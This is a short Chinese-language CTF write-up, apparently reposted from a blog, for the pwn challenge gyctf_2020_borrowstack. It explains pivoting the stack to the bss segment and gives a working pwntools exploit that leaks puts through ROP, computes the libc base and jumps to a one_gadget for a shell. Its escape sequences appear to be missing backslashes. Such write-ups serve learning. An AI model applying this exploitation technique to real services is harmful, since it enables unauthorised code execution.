gyctf_2020_borrowstack

这是我第一次拿着大佬的exp调试的栈迁移,有许多收获,所以一定要记录下来

流程分析

程序很简单,不过,由于溢出后没有什么可以在运行的了,所以我们需要将栈迁移到bss段中

 思路

通过两次的新老leave,将栈迁移到bss段上,不过要尽量往高地址迁移,以免在其又一次运行main函数时候,申请的临时变量的空间会覆盖到了我们的got表中

from pwn import *

#p=remote('node3.buuoj.cn',25375)
#p=process('./gyctf_2020_borrowstack')
p=gdb.debug('./gyctf_2020_borrowstack','b *0x40068F')
elf=ELF('./gyctf_2020_borrowstack')
libc=ELF('../libc-2.23.so')

p.recv()
payload=0x60*b'a'+p64(0x601090)+p64(0x400699)
p.send(payload)
p.recv()
#p64(0x4004c9)*0x14
payload=p64(0x4004c9)*0x14+p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main'])
p.send(payload)

libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
libc_base=libc_base-libc.symbols['puts']
gdb.attach(p)
one_gadget=libc_base+0x4526a
payload=b'p'*0x60+b'pppppppp'+p64(one_gadget)
p.send(payload)
p.interactive()
原文地址:https://www.cnblogs.com/pppyyyzzz/p/14032836.html